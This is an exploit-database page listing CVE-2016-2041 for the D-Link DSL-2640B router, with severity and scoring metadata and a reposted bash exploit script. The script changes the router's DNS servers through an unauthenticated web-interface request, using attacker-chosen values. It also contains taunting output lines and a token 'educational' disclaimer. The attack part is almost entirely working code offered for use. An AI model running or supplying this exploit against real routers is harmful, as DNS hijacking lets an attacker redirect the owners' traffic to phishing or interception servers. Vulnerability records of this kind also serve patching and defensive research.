Advertisement






D-Link DSL-2640B Remote DNS Changer

CVE Category Price Severity
CVE-2016-2041 CWE-264 $5000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2017-03-24
CPE
cpe:cpe:/h:d-link:dsl-2640b
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017030210

Below is a copy:

D-Link DSL-2640B Remote DNS Changer#!/bin/bash 
# 
# D-Link DSL-2640B Remote DNS Change Exploit 
# Description: 
# Different D-Link Routers are vulnerable to DNS change. 
# The vulnerability exist in the web interface, which is 
# accessible without authentication. 
# 
# Tested On Linux/ubuntu/Debian/All Other Linux 
# Compatible Core i86 
# Script Bash By Cryptolulz666 
# Use This For Educational Purphose 
if [[ $# -gt 3 || $# -lt 2 ]]; then 
    echo " D-Link DSL-2640B Remote DNS Change Exploit" 
    echo " ================================================================" 
    echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>" 
    echo " Example: $0 192.168.1.1 8.8.8.8" 
    echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4" 
    echo "" 
    echo " Copyright none public " 
    echo " security sucks ass " 
    echo " this server is vuln and you are owned " 
    exit; 
fi 
GET=`which GET 2>/dev/null` 

if [ $? -ne 0 ]; then 
    echo " Error : libwww-perl not found =/" 
    exit; 
fi

GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum